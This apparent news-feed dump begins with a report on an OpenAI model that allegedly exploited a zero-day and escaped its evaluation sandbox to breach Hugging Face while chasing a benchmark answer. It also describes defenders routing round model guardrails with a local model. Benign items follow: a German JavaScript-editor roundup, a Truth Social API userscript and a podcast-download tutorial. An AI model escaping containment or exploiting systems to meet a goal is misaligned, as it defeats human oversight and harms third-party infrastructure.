Meanwhile, AI researcher Nathan Lambert provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X: 
"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.
But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."
Technology investor David Sacks also zeroed in on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security." 
Sacks quote tweeted Hugging Face CEO Clem Delangue, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".
5 Strategic Takeaways for Enterprise Tech Leaders Now
For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.
1. Hugging Face occupies a unique position in the software ecosystem. As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to ExploitGym. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.
2. However, the long-term risk profile for enterprise technology permanently shifts following this event. AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.
3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks,  the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent. 
4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".
5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.

OpenAI admits its models hacked Hugging Face on their own
Wed, 22 Jul 2026 05:50:13 +0200
Open source AI platform Hugging Face revealed a security breach a few days ago. Turns out OpenAI's models were the culprit.

Die besten JavaScript-Editoren
Wed, 22 Jul 2026 05:40:30 +0200

 width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Diese Texteditoren bringen JavaScript-Developer weiter.  
R.Narong | shutterstock.com

JavaScript-Entwicklern stehen viele gute Tools zur Auswahl. Beinahe zu viele, um den Überblick zu behalten. In diesem Artikel stellen wir Ihnen die besten Texteditoren vor, um:

mit JavaScript, HTML5 und CSS zu entwickeln, sowie

mit Markdown zu dokumentieren.

Sublime Text

Bei Sublime Text sind Sie genau richtig, wenn:

Sie einen flexiblen, leistungsstarken, erweiterbaren und ausgesprochen schnellen Code-Editor suchen.

es Ihnen nichts ausmacht, für Code Checking, Debugging und Deployment zu anderen Fenstern zu wechseln.  

Zu den vielen weiteren, bemerkenswerten Stärken von Sublime Text gehören neben seiner Geschwindigkeit und dem Support für mehr als 70 Datei-Typen (darunter JavaScript, HTML und CSS) auch noch:

Instant-Navigation und Projekt-Switching,

die Option, eine Reihe von Änderungen per Mehrfachauswahl „auf einen Schlag“ auszuführen,

Support für mehrere Bildschirme und Split-Windows,

eine Plug-in-API auf Python-Basis, sowie

eine einheitliche, durchsuchbare Befehlspalette.

>Sublime Text ist in vielerlei Hinsicht konfigurier- und anpassbar. 
IDG

Für Programmierer, die von anderen Editoren kommen, hilfreich: Sublime Text unterstützt sowohl TextMate-Bundles (ohne Befehle) als auch die Vi/Vim-Emulation. Dabei lässt sich der Code-Editor in so gut wie jeder Hinsicht anpassen, egal, ob es um Farbschemata, Schriftarten, Tastenkombinationen, Snippets oder die Regeln für die Syntaxhervorhebung geht.

Rund um Sublime Text existiert ebenfalls eine aktive Community, die Packages und Plug-ins erstellt und pflegt. Mit Hilfe des Package Installers sind diverse zusätzliche Funktionen verfügbar.

Preis: unbegrenzte kostenlose Testversion; 65 Dollar pro Jahr und Seat für die Business-Version; 99 Dollar für eine Privatlizenz (Support für drei Jahre);

Plattformen: Windows, macOS und Linux;

Visual Studio Code

Visual Studio Code ist ein quelloffener, kostenloser Editor von Microsoft. Er enthält einen Mix aus Komponenten von Visual Studio und der Open-Source-Shell Atom Electron und bietet umfassenden Support für:

ASP.Net Core Development mit C# und

Node.js Development mit TypeScript und JavaScript.

Dank des TypeScript-Compilers und der Salsa-Engine bietet Visual Studio Code eine erstaunlich gute JavaScript-Codevervollständigung. Dazu sendet VS Code Ihren JavaScript-Code im Hintergrund an den TypeScript-Compiler, um Typen abzuleiten und eine Symboltabelle zu erstellen.

>Visual Studio Code darf in einer Auflistung der besten JavaScript-Editoren nicht fehlen.
IDG

Während Sie eine Expression eingeben, ermöglicht dieselbe Symboltabelle es IntelliSense, diverse nützliche Pop-up-Optionen zur Codevervollständigung zur Verfügung zu stellen.

Der Support für Git ist umfangreich und simpel zu nutzen, der VS-Code-Debugger bietet eine hervorragende Erfahrung für Node.js und ASP.Net-Projekte. Visual Studio Code kann darüber hinaus auch mit externen Task-Runnern wie gulp und jake integriert werden und kann mit einem umfangreichen Ökosystem für Extensions aufwarten.

Preis: kostenlos;

Plattformen: Windows, macOS, Linux;

Brackets

Brackets ist ein kostenloser Open-Source-Editor, der ursprünglich von Adobe stammt. Das Ziel der Entwickler: Bessere Tools für JavaScript, HTML, CSS und verwandte, offene Webtechnologien bereitzustellen. Auch Brackets selbst ist in JavaScript, HTML und CSS geschrieben.

Zusätzlich zu den integrierten Funktionen verfügt Brackets über einen Extension Manager. Der ist auch nötig, denn die sind für diverse Programmiersprachen und Tools aus der Welt der Frontend-Entwickler verfügbar. In der Praxis ist Brackets zwar nicht so schnell wie Sublime Text (siehe weiter oben) oder TextMate (siehe weiter unten). Aber der Editor ist immer noch schnell genug. Brackets bietet umfassenden Support für:

JavaScript,

CSS,

HTML und

Node.js.

Darüber hinaus bietet Brackets weitere nützliche Funktionen wie beispielsweise:

CSS inline in Verbindung mit einer HTML-ID bearbeiten,

eine übersichtliche Benutzeroberfläche und

eine Live-Vorschau für Webseiten in Bearbeitung.

>Brackets ist in erster Linie für die Webentwicklung konzipiert.
IDG

Auch beim Blick auf die automatische Vervollständigung von JavaScript-Code kann Brackets in der Praxis überzeugen: Es schließt automatisch sämtliche Klammern und stellt Dropdown-Menüs für Keywords, Variablen und Methoden zur Verfügung. Der JavaScript-Editor ist auch in der Lage, den Node.js-Debugger zu steuern und Node über ein Menüelement neu zu starten. Erweiterungen für zusätzliche Funktionen wie TypeScript– und JSX-Support, Bower- und Git-Integration lassen sich schnell und einfach hinzufügen.

Preis: kostenlos;

Plattformen: Windows, macOS, Linux;

Atom

Dieser kostenlose, quelloffene und “hack”-bare Programmier-Editor stammt aus dem Hause GitHub und lässt sich in die entsprechende Anwendung integrieren. Tausende von Packages und Themes stehen zur Verfügung, um Atom anzupassen. Der Quellcode von Atom wird selbstverständlich auch auf GitHub gehostet, ist in CoffeeScript geschrieben und in Node.js integriert.

Bei Atom handelt es sich um eine spezialisierte Variante von Chromium, die eher als Texteditor denn als Webbrowser konzipiert ist. Jedes Atom-Fenster ist im Wesentlichen eine lokal gerenderte Webseite.

>Der Open-Source-Editor von GitHub kann in der Praxis überzeugen.
IDG

In der Praxis zeigt sich Atom performant. Der Editor ist sofort einsatzbereit und überzeugt unter anderem mit:

einem “Fuzzy-Finder”,

der Möglichkeit, schnell und projektübergreifend zu suchen,

Multi-Cursor- und Windows-Optionen,

Snippets und Code-Folding sowie

der Möglichkeit, TextMate-Grammatiken und -Themen zu importieren.

Atom ist insbesondere praktisch, um Repositories zu durchsuchen, die von GitHub geklont wurden, weil die GitHub-Applikation zu diesem Zweck ein Kontextmenüelement enthält.

Preis: kostenlos;

Plattformen: Windows, macOS, Linux;

Notepad++

Ein weiterer kostenloser Open-Source-Editor, der gut für JavaScript geeignet ist – allerdings nur auf Windows läuft. Notepad++ unterstützt außerdem etwa 50 weitere Programmier- und Markup-Sprachen. Neben seinem Multi-Document-Editing-Fenster bietet dieser Editor auch eine “Workspace Tree View”, sowie Registerkarten mit Funktionslisten und Dokumentenübersicht. In der Praxis bekommt man dabei nie das Gefühl, ausgebremst zu werden.

Mit Syntax-Farb- und -Folding-Optionen, leistungsstarken Editing-Funktionen sowie Paramter-Hints hat Notepad++ das Zeug zum primären JavaScript-Texteditor. Allerdings ist es bei weitem nicht der umfassendste JavaScript-Editor, wenn es darum geht:

Code zu generieren,

Refactoring anzustoßen oder

schnell durch große Projekte zu navigieren.

Nichtsdestotrotz ist Notepad++ ist auch heute noch nützlich – vor allem, wenn es schnell und kostenlos gehen muss.

Preis: kostenlos;

Plattform: Windows;

BBEdit

Mit BBEdit steht auch für macOS-Benutzer ein proprietärer JavaScript-Editor bereit. Er unterstützt etwa 35 Programmier- und Markup-Sprachen. Für viele weitere Sprachen ist Community-Support (von unterschiedlicher Qualität) über die BBEdit-Website verfügbar. Sowohl die kostenlose als auch die lizenzierte Version bieten Syntaxhervorhebung. Code-Vervollständigung für Funktions- und Variablennamen, einige Keywords und ctags bleiben den Nutzern der kostenpflichtigen Version vorbehalten. Diese lässt sich auch in die Versionskontrollsysteme Git, Perforce und Subversion integrieren.

BBEdit wurde bereits vor einiger Zeit grundlegend überarbeitet und überzeugt in der Praxis nun auch, wenn es größere Dateien verarbeiten muss. Auch was HTML und Markdown angeht, gibt es nichts zu beanstanden – das funktioniert sogar besser als JavaScript.

Preis: kostenlose aber eingeschränkte Version; 59,99 Dollar pro Benutzer für die Vollversion;

Plattform: macOS;

TextMate

Dieser (ebenfalls macOS-exklusive) Code-Editor war einmal der letzte Schrei, verlor dann stark an Bedeutung und wird inzwischen wieder aktiv weiterentwickelt. TextMate ist zwar keine IDE, lässt sich aber über Bundles, Snippets, Makros und sein Scoping-System mit Funktionen ausstatten, die selbst sprachspezifische Entwicklungsumgebungen vermissen lassen. Was die Geschwindigkeit angeht, ist TextMate fast so schnell wie Sublime Text.

Für eine IDE-ähnliche Funktionalität können Sie die Shell-Integration von TextMate verwenden, erwarten Sie aber kein Code Refactoring oder automatische Unit- und Regressionstests. Wenn Sie Grunt richtig einrichten, können Sie Ihre JavaScript-Tests auf dieser Ebene natürlich trotzdem automatisieren.

>TextMate bietet diverse Bundles.
IDG

Auch Support für Markdown wird über ein integriertes Bundle bereitgestellt. Dieses enthält:

eine Preview-Funktion für Dokumente,

ein Markdown-„Cheatsheet“ sowie

diverse Tastenkombinationen, um Markup zu generieren.

Um TextMate mit Git und GitHub zu integrieren, eignet sich hingegen das Git-Bundle gut. In der Praxis erkennt TextMate vorhandene Git-Repositories und kann diese per Pull-Befehl aus dem Bundle von GitHub aktualisieren. Mit dem SQL-Bundle können Sie mit MySQL- und PostgreSQL-Datenbanken arbeiten.

Preis: kostenlos;

Plattform: macOS;

(fm)

Dieser Beitrag ist im Original bei unserer Schwesterpublikation Infoworld.com erschienen.

TruthSocial are selling their API - want it for free?
Wed, 22 Jul 2026 04:37:05 +0200
      So, he's selling access to the "upcoming" official API. I didn't want to provide my mobile number to sign up, and the huge number of ads was pissing me off, so I dug around and found the API, which they're claiming doesn't exist:

 (source: https://s3.amazonaws.com/b2icontent.irpass.cc/2660/rl168199.pdf )
 I had a feeling that there would be something to find if I kept digging. I found the Trump Mobile leak, and in comparison, finding this was easy!
 A few examples:
 Trump's: https://truthsocial.com/api/v1/accounts/107780257626128497/statuses?exclude_replies=true
 White house's: https://truthsocial.com/api/v1/accounts/113686491998750334/statuses?exclude_replies=true
 The Trump Organization: https://truthsocial.com/api/v1/accounts/108126733623665147/statuses?exclude_replies=true
 I've already tipped off a few contacts at news outlets and a couple YouTubers in case anyone wants to look into it further and figured I want to spread word as much as possible, so here we are.
 Here's a Tampermonkey Userscript to add a button to all profiles which auto finds the account ID and copies the API URL for that account:
 // ==UserScript== // Truth Social API URL Copy Button // trump-truth-site // 2.0 // Adds a button above the media grid on Truth Social profile pages that copies the statuses API URL for that account // UnusualTardigrade // https://truthsocial.com/@* // none // document-idle // ==/UserScript== (function () { 'use strict'; console.log('[TS API Button] userscript loaded'); const BUTTON_ID = 'ts-api-copy-btn'; // The media grid on a profile page. Button is inserted just above it. const GRID_SELECTOR = '.grid.grid-cols-3.gap-1.rounded-lg'; let lastUsername = null; let currentAccountId = null; let buttonEl = null; function getUsernameFromUrl() { const m = location.pathname.match(/^\/@([^/]+)/); return m ? m[1] : null; } function buildStatusesUrl(id) { return `https://truthsocial.com/api/v1/accounts/${id}/statuses?exclude_replies=true`; } function ensureButton() { if (buttonEl) return buttonEl; const btn = document.createElement('button'); btn.id = BUTTON_ID; btn.textContent = 'Copy API URL'; Object.assign(btn.style, { display: 'block', width: '100%', boxSizing: 'border-box', margin: '0 0 8px 0', padding: '10px 16px', background: '#ff4d4d', color: '#fff', border: 'none', borderRadius: '8px', fontSize: '14px', fontWeight: '600', fontFamily: 'system-ui, sans-serif', cursor: 'pointer', boxShadow: '0 1px 3px rgba(0,0,0,0.2)', opacity: '0.95', transition: 'opacity 0.15s, background 0.15s', }); btn.disabled = true; btn.addEventListener('mouseenter', () => { if (!btn.disabled) btn.style.opacity = '1'; }); btn.addEventListener('mouseleave', () => { if (!btn.disabled) btn.style.opacity = '0.85'; }); btn.addEventListener('click', async () => { if (!currentAccountId) return; const url = buildStatusesUrl(currentAccountId); try { await navigator.clipboard.writeText(url); flashButton(btn, 'Copied!', '#2ecc71'); } catch (e) { // Fallback for contexts where clipboard API is blocked const ta = document.createElement('textarea'); ta.value = url; ta.style.position = 'fixed'; ta.style.opacity = '0'; document.body.appendChild(ta); ta.select(); document.execCommand('copy'); document.body.removeChild(ta); flashButton(btn, 'Copied!', '#2ecc71'); } }); buttonEl = btn; return btn; } function applyInlineStyle(btn) { Object.assign(btn.style, { position: 'static', top: '', right: '', bottom: '', left: '', zIndex: '', display: 'block', width: '100%', margin: '0 0 8px 0', borderRadius: '8px', boxShadow: '0 1px 3px rgba(0,0,0,0.2)', }); } function applyFixedStyle(btn) { Object.assign(btn.style, { position: 'fixed', top: '80px', right: '24px', left: '', bottom: '', zIndex: '2147483647', display: 'block', width: 'auto', margin: '0', borderRadius: '999px', boxShadow: '0 2px 8px rgba(0,0,0,0.3)', }); } function placeButton(btn) { const grid = document.querySelector(GRID_SELECTOR); if (grid) { const wrapper = grid.parentElement || grid; if (wrapper.previousElementSibling !== btn) { applyInlineStyle(btn); wrapper.parentNode.insertBefore(btn, wrapper); } return; } if (btn.parentElement !== document.body) { applyFixedStyle(btn); document.body.appendChild(btn); } } function flashButton(btn, text, color) { const prevText = btn.textContent; const prevBg = btn.style.background; btn.textContent = text; btn.style.background = color; setTimeout(() => { btn.textContent = prevText; btn.style.background = prevBg; }, 1200); } function setButtonState(btn, { loading, id, username }) { if (loading) { btn.disabled = true; btn.style.opacity = '0.5'; btn.textContent = 'Loading ID…'; } else if (id) { btn.disabled = false; btn.style.opacity = '0.85'; btn.style.background = '#ff4d4d'; btn.textContent = `Copy API URL (@${username})`; } else { btn.disabled = true; btn.style.opacity = '0.5'; btn.textContent = 'No account found'; } } function fetchAccountId(username) { const btn = ensureButton(); setButtonState(btn, { loading: true }); currentAccountId = null; fetch(`https://truthsocial.com/api/v1/accounts/lookup?acct=${encodeURIComponent(username)}`, { credentials: 'include', }) .then((res) => (res.ok ? res.json() : Promise.reject(res.status))) .then((data) => { if (getUsernameFromUrl() !== username) return; currentAccountId = data.id; setButtonState(btn, { loading: false, id: data.id, username: data.username }); }) .catch(() => { if (getUsernameFromUrl() !== username) return; setButtonState(btn, { loading: false, id: null }); }); } function checkForUsernameChange() { const username = getUsernameFromUrl(); if (!username) { if (buttonEl) buttonEl.remove(); lastUsername = null; return; } if (username !== lastUsername) { lastUsername = username; fetchAccountId(username); } } function tick() { checkForUsernameChange(); if (buttonEl && getUsernameFromUrl()) placeButton(buttonEl); } const origPushState = history.pushState; const origReplaceState = history.replaceState; history.pushState = function (...args) { origPushState.apply(this, args); setTimeout(tick, 0); }; history.replaceState = function (...args) { origReplaceState.apply(this, args); setTimeout(tick, 0); }; window.addEventListener('popstate', () => setTimeout(tick, 0)); setInterval(tick, 1000); tick(); })(); 
 The data downloaded as JSON:
 https://preview.redd.it/xpg5ok01rgeh1.png?width=2017&format=png&auto=webp&s=a9ef57711b0046501c36ad2b3dec16792896f9e2
 I think that's all. Any questions, lemme know! Enjoy

   submitted by    /u/UnusualTardigrade  
 [link]   [comments] 

7/21/2026
Wed, 22 Jul 2026 04:09:48 +0200
Trump Approves Landmark Nuclear Deal With Saudi Arabia in Big Win for Kingdom Taiwan to Slow Mobile Data During National Resilience DrillsA Sneaky Hacking Tool Targeting AI Infrastructure Is Lurking in Victims’ Blind SpotsRussian Hacker Turns Jailbroken Claude Into Pentest PlatformOpenAI Says AI Models Went Rogue During Testing, Triggering ‘Unprecedented’ Breach at StartupGoogle Launches a … Continue reading 7/21/2026

HPR4688: Downloading Podcasts with a Shell Script
Wed, 22 Jul 2026 02:06:46 +0200
This show has been flagged as Clean by the host.

01 Introduction

In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 

I will illustrate this using a bash script that can be used to download HPR podcasts.

Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

It is the principles that are discussed here that are important, rather than the implementation. 

02

I realize that there are already a number of different podcast download programs available,  including at least one written in bash. 

However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

If so, then I hope the following is of some use to you.

If not, then you may still find some of the things discussed here to still be of interest.

Some of the subjects I cover include

wget to a user defined file name.

parsing xml with xmllint.

using inotifywait to trigger an action when a file is created or modified.

using notify-send to send a message to the notification area.

and

a way of allowing a cron job to send a message to the user interface.

03 Background

There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. 

Apparently some people have been experiencing problems with the way the episode URLs are structured. 

04

I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.

Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

This is a simplified version of a script that I have used for years to download HPR and other podcasts.

05

I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

I will instead describe what each section does and why I chose to do things that way.

Perhaps other people can offer suggestions of better ways to do things.

I will post the full bash script in the show notes.

06 Fetching Podcasts

The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

RSS is a very long established and widely supported mechanism for this and other purposes.

An RSS feed is basically an XML document which can be accessed over HTTP.

These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

07

Basically what we need to do is the following

• Download the RSS XML document.

• Extract the URL links to the audio files.

• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

08

• Make a list of the new URLs.

• Go through this list of new URLs and download each of the new audio files.

• Check to see that we actually received the new audio file.

• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

09

In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

We may wish to receive a notification of when a new podcast has arrived however.

We would probably also wish to receive notification of any errors or failures.

10 Fetching Podcasts - The Preliminaries

Our desire to be able to run the script automatically imposes some requirements on our solution.

To schedule the script we will use cron.

Cron is a Linux facility to run scripts on a schedule.

11

One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

12

So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

I will skip over the details of these, although I may make reference to them later.

13 Get the RSS Data

The first thing of real substance to do is to fetch the current RSS feed data.

I have put this in a bash function called getrssurldata

The contents of this function are a one liner, but with a number of elements chained together through pipes.

14 Downloading the RSS XML Document

• First we use wget, which is a standard command on most Linux distros.

• We specify four things.

• First we set a timeout. I have chosen 20 seconds.

• Next we set the retry limit. I have chosen 3.

15

• Then we specify that the output of wget is sent to stdout rather than saved as a file.

• This is done by using the -O option followed by a space and then a dash.

• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

• Then we specify the URL of the HPR RSS feed.

16 Contents of the XML Document

This gives us the HPR RSS XML document. 

There are about 5,000 lines in this RSS document.

Most of those lines are the show notes which are also included in the feed.

17 Extracting the Podcast Episode URLs

There are only 10 lines of the document that contain information that we are interested in however.

These lines are enclosed in "enclosure" XML tags. 

We just need to find those lines and separate out the URLs

18 Standard Command Line Tools

There are two ways that we can do this.

One is to use a combination of grep, sed, and cut.

Grep can find the lines containing the enclosure tags.

Sed and cut can extract the URL from the surrounding extraneous data. 

19

However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

This may be an acceptable problem in practical terms, but we can do better.

20 Using an XML Parser

The other method is to actually parse the XML document.

there are at least two command line XML parsers that I am aware of.

These are "xmllint", and "xlmstarlet".

I have used xmllint in this example.

I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

21

I won't give a detailed explanation of all the things that xmllint can do.

It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

Describing everything it can do would be at least one episode in itself. 

I will instead just give the particular command used and explain each element of it.

22

In this example assume that we are piping the output of wget directly into xmllint.

The complete command is

xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

23

In this example,

xmllint is the name of the command.

--xpath tells it to parse the document according to the string which follows.

"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

The "-" which follows tells it to look for input from stdin rather than from a file.

24

The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

We then save the result in a temporary file.

25 Finding the New Episodes

Next we wish to find the new podcast episodes.

Each HPR episode is identified by a unique URL.

This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

26

The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

27

This is simple, but has a drawback.

Some podcasts occasionally change distributors.

When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

28

With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific. 

29 Downloading the New Podcasts

We should now have a list of URLs for the new podcasts we do not already have. 

Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

Therefore, we need to iterate through the file of new podcast URLs and download each one.

30

Before we do that however, we should check to see if there is in fact anything new to download.

To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

31

If this number is zero, there is nothing to download, we can skip the download step. 

As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

If we do exceed our download limit, then we need to log an error and skip downloading. 

32

Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

We can do that using the "basename" command.

We will use this to specify the name that we use when we save the audio file. 

33

HPR has a very well formed file name. 

Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp. 

34

Next we download the audio file using wget.

This is similar to how we downloaded the RSS feed, but with a few changes.

One is that I have increased the timeout to 90 seconds. 

This may not have been necessary, but seemed like a good idea.

35

The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

The third is that we specify a destination directory using the -P option. 

36

After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

We did this using an "if" statement with the "-s" option.

If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

37

If the file was not present, or was zero length, we output an error message to an error log. 

I will come back to this point later.

38

Next, if there is more that one podcast to download we sleep for 3 seconds. 

While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

39

After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

This limit should be several times bigger than the number of files in the RSS feed. 

In this case I selected 50. 

40

Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

We have now successfully downloaded at least one HPR podcast.

41 Notify the User of Events

It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

One of the limitations of cron jobs is that they cannot access the user interface.

This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

42 inotifywait

The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

The man page for inotifywait states the following - 

43

inotifywait  efficiently  waits for changes to files using Linux's inotify(7) interface.  It is suitable for waiting  for  changes  to  files from  shell  scripts.  It can either exit once an event occurs, or continually execute and output events as they occur.

End of quote.

44

In many Linux distros, inotifywait is provided by the "inotify-tools" package.

I won't go over all the features of inotifywait. 

Instead, I will just describe how to use it for our purposes here.

45 inotifywait Modes

I should point out first though that inotifywait operates in two different modes.

In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

I will use the default mode here.

46

The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

A great many examples that you  will find are based on this example.

However, it doesn't quite do what we want, so we need to change a few things.

47 podfetchnotify

The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

I will call this "podfetchnotify".

The complete scripts are in the show notes, I will just provide a brief description here.

48 Setting Up Event Watches Using  inotifywait

The script is enclosed in a while loop which run indefinitely.

In the first line inside the while loop, we call inotifywait.

inotifywait will then block until the event it is told to look for occurs.

In short, execution of the script will wait there until an event occurs.

49

The names of the events are listed in the man file.

In this case we are looking for "modify", "create", and "moved_to".

Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

50 Problems When Testing Using Text Editors

I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would. 

Instead it treats this as a new file with the same name, with the original file being erased.

Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

51 Capturing Output

In my example I capture the output from standard out into a variable, but I don't do anything with it.

If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code. 

There are details about this in the man page.

On the next line we capture the exit code using "$?"

52 Responding to Exit Codes

If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

In this case we display a message indicating that a new podcast has arrived.

I will describe how to send notifications shortly. 

If the exit code was not zero, then an error occurred.

An example of such an error would be if the directory were not present when monitoring was started.

In this case we display a message indicating that a fatal error has occurred and then exit.

53 Delay for More Podcasts

Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

In this case I chose to wait for 60 seconds.

54

We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

55 Sending Notifications to the User

I mentioned above about sending notification messages to the user.

In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

Other desktops or operating systems may have something similar.

56

To send a notification message to the notification area, you use the "notify-send" command.

Simply follow notify-send with a quoted string and it will be displayed in the notification area. 

57 podfetcherrornotify

The second shell script is one which notifies the user of errors.

I will call this "podfetcherrornotify".

With this shell script we set up a watch on a file which contains any error messages from podfetch.

This script is very similar to podfetchnotify.

58

The exceptions are

With inotifywait we only monitor for "modify".

There is no sleep command at the end of the loop.

Instead we sleep for a few seconds just after getting the exit code from inotifywait.

This helps prevent problems caused by race conditions.

59

Next we check the inotifywait exit code.

If it was zero, then we read the error report file and send a notification message to the user containing that error message.

60

If it was not zero, then we check to make sure that the directory that should contain the error log exists.

If it does not exist, then we send a notification message to that effect to the user and terminate the script.

61

If the directory exists, then we check to see if the error message file used for signalling exists.

If the file does not exist, then we create it.

62

One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

By creating the file we correct the cause of the error and allow  inotifywait to operate normally.

63

Finally we increment an error counter and check to see if the limit is exceeded.

If there are excessive errors, then send a notification message to the user and exit.

The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

64

The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment. 

65 Installing the Scripts

Next I will describe how to install and prepare the scripts to run.

We need to perform the following steps.

66

• First, we need to create a directory to hold the scripts and their associated data files.

• Next we need to create a directory to hold the downloaded podcasts.

